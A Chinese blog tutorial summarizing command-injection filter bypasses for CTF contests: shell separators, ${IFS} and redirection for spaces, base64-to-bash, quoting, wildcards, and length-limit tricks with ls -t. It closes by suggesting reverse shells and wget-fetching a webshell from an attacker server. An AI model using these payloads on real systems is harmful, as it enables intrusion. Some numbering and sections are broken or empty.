MENU

隐藏页面特效

CTF下的命令执行漏洞利用及绕过方法总结

发表于 2020-07-02 12:11 阅读次数：3445 评论次数：0

NONE-TEAM团队 WEB安全

- 常见管道符
  - Windows系统支持的管道符
  - Linux系统支持的管道符
- 空格过滤
  - ${IFS}
  - 重定向符<>
  - %09(需要php环境)
- 黑名单绕过
  - 拼接

0 常见管道符

1 Windows系统支持的管道符

|直接执行后面的语句

||如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

&前面和后面命令都要执行，无论前面真假

&&如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令

1 Linux系统支持的管道符

```
1 |、||、&、&&这四种管道符都存在且用法和Windows系统下一样，多了一个;管道符，作用和&一样
```

2 空格过滤

3 ${IFS}

payload1:

```
1 root@kali:~# cat flag
2 this is your flag
3 root@kali:~# cat${IFS}flag
4 this is your flag
```

payload2:

```
root@kali:~# cat${IFS}$1flag
this is your flag
```

payload3:

```
1 root@kali:~# cat$IFS$1flag
2 this is your flag
```

2 重定向符<>

payload1:

```
root@kali:~# cat<>flag
this is your flag
```

payload2:

```
root@kali:~# cat<flag
this is your flag
```

3 %09(需要php环境)

3 黑名单绕过

3 拼接

```
root@kali:~# a=c;b=at;c=fl;d=ag;$a$b $c$d
this is your flag
```

2 base64编码

payload1:

```
root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`
this is your flag
```

payload2:

```
root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash
this is your flag
```

3、单引号、双引号

```
root@kali:~# c""at fl''ag
this is your flag
```

4、反斜线

```
root@kali:~# c\at fl\ag
this is your flag
```

5、$1、$2等和$@

```
root@kali:~# c$1at gh$@twf01.txt
hello ghtef01
nice blckder02
```

读文件绕过

当cat被过滤时，可以使用如下命令代替

(1)more:一页一页的显示档案内容
(2)less:与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl：显示的时候，顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器，这个也可以查看
(9)vim:一种编辑器，这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

通配符绕过

比如

```
root@kali:~# /???/?[a][t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?at flag
this is your flag
xx
cc
xa
root@kali:~# /???/?at ????
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?[a]''[t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
```

当然还有更过分的，2333，这些在CTF比赛中可能会用到

∅ 内敛执行绕过

`命令`和$(命令)都是执行命令的方式

```
root@kali:~# echo "xx`pwd`"
xx/root
root@kali:~# echo "xx$(pwd)"
xx/root
```

6 绕过长度限制

7 Linux中的>符号和>>符号

(1)通过>来创建文件

(2)通过 > 将命令结果存入文件中

使用 > 命令会将原有文件内容覆盖，如果是存入不存在的文件名，那么就会新建该文件再存入

(3) `>>` 符号的作用是将字符串添加到文件内容末尾，不会覆盖原内容

7 Linux中命令换行

在Linux中，当我们执行文件中的命令的时候，我们通过在没有写完的命令后面加 `\` ，可以将一条命令写在多行

比如一条命令 `cat flag` 可以如下表示

```
1 root@kali:~# ca\
2 > t\
3 >  fl\
4 > ag
5 this is your flag
```

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令，将命令一条一条输入一个文本中再执行，尝试一下

```
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag
```

用这种方法可以绕过一些长度限制读取文件内容

7 利用ls -t和>以及换行符绕过长度限制执行命令(文件构

在 `linux` 中，我们使用 `ls -t` 命令后，可以将文件名按照时间顺序排列出来（后创建的排在前面）

```
root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
```

```
root@kali:~/example# ls -t
c  b  a
```

我们来看看 `ls -t>ghtwf01` 有什么效果(开始不存在 `ghtwf01` 这个文件)

```
root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01
ghtwf01
c
b
a
```

这条命令先执行了创建 `ghtwf01` 文件然后将 `ls -t` 的执行结果写入 `ghtwf01` 文件

我们试试用这些方法来执行命令 `cat flag`

```
root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
```

```
10 this is your flag
11 a: 6: flag: not found
```

读取到了 `flag` 内容为 `this is your flag` ，无论这个文件里面有不有其它内容都能执行

总而言之文件构造绕过就是如下知识：

```
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行
```

反弹 `shell` 命令比较长就可以用这种方式去绕过长度限制

如果服务器能连外网还可以使用命令 `wget 网址 -O shell.php` 去执行我们自己 `vps` 上面的木马文件

__EOF__

分类: nOnE-team团队

标签: WEB安全

SpouseLJ
粉丝 - 2 关注 - 1

0 0